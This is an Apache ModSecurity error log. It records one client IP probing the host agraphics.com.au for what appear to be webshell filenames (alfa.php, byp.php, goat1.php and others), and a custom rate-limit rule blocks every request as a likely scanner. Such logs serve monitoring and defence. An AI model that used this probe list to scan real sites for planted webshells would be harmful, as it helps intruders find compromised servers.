[Sun Dec 14 04:22:07.300066 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:24819] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aT3K7_xybG8-9MflbDduZwAAAMk"]
[Sun Dec 14 04:22:07.624948 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:24756] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aT3K7_xybG8-9MflbDduaAAAANY"]
[Sun Dec 14 04:22:07.957304 2025] [:error] [pid 39523:tid 39547] [client 20.89.218.172:13300] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aT3K7zQTQH1raAj2lkgR2QAAABM"]
[Sun Dec 14 04:22:08.280091 2025] [:error] [pid 39524:tid 39570] [client 20.89.218.172:13294] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aT3K8GrVGpbDzFtDE9P2egAAAE4"]
[Sun Dec 14 04:22:08.609921 2025] [:error] [pid 39525:tid 39598] [client 20.89.218.172:24750] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atom.php"] [unique_id "aT3K8E1fX_pB_BrvE_5eAAAAAI8"]
[Sun Dec 14 04:22:08.945936 2025] [:error] [pid 39525:tid 39589] [client 20.89.218.172:13224] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atom.php"] [unique_id "aT3K8E1fX_pB_BrvE_5eAgAAAIY"]
[Sun Dec 14 04:22:09.267386 2025] [:error] [pid 39614:tid 39629] [client 20.89.218.172:24771] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atom.php"] [unique_id "aT3K8fxybG8-9MflbDdubAAAAM0"]
[Sun Dec 14 04:22:09.625481 2025] [:error] [pid 39525:tid 39594] [client 20.89.218.172:24767] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atom.php"] [unique_id "aT3K8U1fX_pB_BrvE_5eBAAAAIs"]
[Sun Dec 14 04:22:09.949015 2025] [:error] [pid 39525:tid 39596] [client 20.89.218.172:13254] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/case.php"] [unique_id "aT3K8U1fX_pB_BrvE_5eBgAAAI0"]
[Sun Dec 14 04:22:10.364873 2025] [:error] [pid 39524:tid 39562] [client 20.89.218.172:24785] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/case.php"] [unique_id "aT3K8mrVGpbDzFtDE9P2ewAAAEY"]
[Sun Dec 14 04:22:10.659270 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13278] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/case.php"] [unique_id "aT3K8k1fX_pB_BrvE_5eCAAAAIg"]
[Sun Dec 14 04:22:11.564742 2025] [:error] [pid 39525:tid 39602] [client 20.89.218.172:24741] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/case.php"] [unique_id "aT3K801fX_pB_BrvE_5eCgAAAJM"]
[Sun Dec 14 04:22:11.960379 2025] [:error] [pid 39524:tid 39573] [client 20.89.218.172:24766] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/docs.php"] [unique_id "aT3K82rVGpbDzFtDE9P2fgAAAFE"]
[Sun Dec 14 04:22:12.325627 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:24725] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/docs.php"] [unique_id "aT3K9E1fX_pB_BrvE_5eDAAAAIE"]
[Sun Dec 14 04:22:12.762372 2025] [:error] [pid 39614:tid 39631] [client 20.89.218.172:13274] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/docs.php"] [unique_id "aT3K9PxybG8-9MflbDducQAAAM8"]
[Sun Dec 14 04:22:13.301111 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:13239] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/docs.php"] [unique_id "aT3K9TQTQH1raAj2lkgR3QAAABc"]
[Sun Dec 14 04:22:13.603001 2025] [:error] [pid 39525:tid 39583] [client 20.89.218.172:24808] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ios.php"] [unique_id "aT3K9U1fX_pB_BrvE_5eDgAAAIA"]
[Sun Dec 14 04:22:13.964809 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:24743] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ios.php"] [unique_id "aT3K9fxybG8-9MflbDdudAAAAMg"]
[Sun Dec 14 04:22:14.252355 2025] [:error] [pid 39525:tid 39598] [client 20.89.218.172:13252] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ios.php"] [unique_id "aT3K9k1fX_pB_BrvE_5eEAAAAI8"]
[Sun Dec 14 04:22:14.571411 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:24715] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ios.php"] [unique_id "aT3K9vxybG8-9MflbDdueAAAAMk"]
[Sun Dec 14 04:22:14.913649 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13212] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aT3K9vxybG8-9MflbDdueQAAANY"]
[Sun Dec 14 04:22:15.245800 2025] [:error] [pid 39614:tid 39618] [client 20.89.218.172:13263] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aT3K9_xybG8-9MflbDduegAAAMI"]
[Sun Dec 14 04:22:15.516141 2025] [:error] [pid 39524:tid 39579] [client 20.89.218.172:13306] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aT3K92rVGpbDzFtDE9P2gwAAAFc"]
[Sun Dec 14 04:22:15.800637 2025] [:error] [pid 39523:tid 39534] [client 20.89.218.172:24795] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aT3K9zQTQH1raAj2lkgR3gAAAAY"]
[Sun Dec 14 04:22:16.075696 2025] [:error] [pid 39525:tid 39594] [client 20.89.218.172:13228] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT3K-E1fX_pB_BrvE_5eEwAAAIs"]
[Sun Dec 14 04:22:16.334305 2025] [:error] [pid 39523:tid 39545] [client 20.89.218.172:13284] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT3K-DQTQH1raAj2lkgR4AAAABE"]
[Sun Dec 14 04:22:16.804051 2025] [:error] [pid 39525:tid 39596] [client 20.89.218.172:24772] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT3K-E1fX_pB_BrvE_5eFAAAAI0"]
[Sun Dec 14 04:22:17.129709 2025] [:error] [pid 39614:tid 39632] [client 20.89.218.172:13122] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aT3K-fxybG8-9MflbDdufQAAANA"]
[Sun Dec 14 04:22:17.410096 2025] [:error] [pid 39525:tid 39593] [client 20.89.218.172:13277] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aT3K-U1fX_pB_BrvE_5eFgAAAIo"]
[Sun Dec 14 04:22:17.795399 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13192] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aT3K-U1fX_pB_BrvE_5eFwAAAIg"]
[Sun Dec 14 04:22:18.173124 2025] [:error] [pid 39524:tid 39568] [client 20.89.218.172:24736] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aT3K-mrVGpbDzFtDE9P2iAAAAEw"]
[Sun Dec 14 04:22:18.579987 2025] [:error] [pid 39524:tid 39570] [client 20.89.218.172:13191] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aT3K-mrVGpbDzFtDE9P2iQAAAE4"]
[Sun Dec 14 04:22:19.020783 2025] [:error] [pid 39524:tid 39574] [client 20.89.218.172:13233] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT3K-2rVGpbDzFtDE9P2igAAAFI"]
[Sun Dec 14 04:22:19.323857 2025] [:error] [pid 39523:tid 39540] [client 20.89.218.172:13240] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT3K-zQTQH1raAj2lkgR4wAAAAw"]
[Sun Dec 14 04:22:19.631591 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13204] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT3K-zQTQH1raAj2lkgR5QAAAAA"]
[Sun Dec 14 04:22:19.979910 2025] [:error] [pid 39523:tid 39542] [client 20.89.218.172:13188] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aT3K-zQTQH1raAj2lkgR5gAAAA4"]
[Sun Dec 14 04:22:20.318213 2025] [:error] [pid 39524:tid 39560] [client 20.89.218.172:13220] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT3K_GrVGpbDzFtDE9P2jAAAAEQ"]
[Sun Dec 14 04:22:20.616125 2025] [:error] [pid 39525:tid 39604] [client 20.89.218.172:13301] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT3K_E1fX_pB_BrvE_5eGgAAAJU"]
[Sun Dec 14 04:22:21.068998 2025] [:error] [pid 39523:tid 39549] [client 20.89.218.172:13217] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT3K_TQTQH1raAj2lkgR5wAAABU"]
[Sun Dec 14 04:22:21.432803 2025] [:error] [pid 39524:tid 39563] [client 20.89.218.172:24815] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aT3K_WrVGpbDzFtDE9P2jQAAAEc"]
[Sun Dec 14 04:22:21.720201 2025] [:error] [pid 39524:tid 39579] [client 20.89.218.172:24748] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aT3K_WrVGpbDzFtDE9P2jgAAAFc"]
[Sun Dec 14 04:22:21.991808 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:13297] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aT3K_WrVGpbDzFtDE9P2jwAAAEE"]
[Sun Dec 14 04:22:22.305263 2025] [:error] [pid 39614:tid 39631] [client 20.89.218.172:13209] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aT3K_vxybG8-9MflbDdugwAAAM8"]
[Sun Dec 14 04:22:22.665155 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:13281] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aT3K_vxybG8-9MflbDduhAAAANM"]
[Sun Dec 14 04:22:22.959351 2025] [:error] [pid 39614:tid 39636] [client 20.89.218.172:24784] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aT3K_vxybG8-9MflbDduhQAAANQ"]
[Sun Dec 14 04:22:23.227994 2025] [:error] [pid 39614:tid 39616] [client 20.89.218.172:13194] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aT3K__xybG8-9MflbDduhwAAAMA"]
[Sun Dec 14 04:22:23.477440 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:13251] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aT3K__xybG8-9MflbDduiQAAAMk"]
[Sun Dec 14 04:22:23.741368 2025] [:error] [pid 39525:tid 39607] [client 20.89.218.172:13138] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aT3K_01fX_pB_BrvE_5eHQAAAJg"]
[Sun Dec 14 04:22:24.023487 2025] [:error] [pid 39614:tid 39618] [client 20.89.218.172:13137] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aT3LAPxybG8-9MflbDdujAAAAMI"]
[Sun Dec 14 04:22:24.433336 2025] [:error] [pid 39523:tid 39538] [client 20.89.218.172:13311] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aT3LADQTQH1raAj2lkgR6wAAAAo"]
[Sun Dec 14 04:22:24.742730 2025] [:error] [pid 39524:tid 39566] [client 20.89.218.172:13262] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aT3LAGrVGpbDzFtDE9P2kQAAAEo"]
[Sun Dec 14 04:22:25.062333 2025] [:error] [pid 39614:tid 39620] [client 20.89.218.172:13185] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "aT3LAfxybG8-9MflbDdujQAAAMQ"]
[Sun Dec 14 04:22:25.394286 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13265] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT3LATQTQH1raAj2lkgR7gAAABY"]
[Sun Dec 14 04:22:25.681504 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13149] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT3LATQTQH1raAj2lkgR8AAAAAk"]
[Sun Dec 14 04:22:25.982957 2025] [:error] [pid 39614:tid 39627] [client 20.89.218.172:13223] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT3LAfxybG8-9MflbDdujgAAAMs"]
[Sun Dec 14 04:22:26.279931 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:24803] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT3LAk1fX_pB_BrvE_5eIAAAAIE"]
[Sun Dec 14 04:22:26.612411 2025] [:error] [pid 39614:tid 39621] [client 20.89.218.172:13210] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3LAvxybG8-9MflbDdukgAAAMU"]
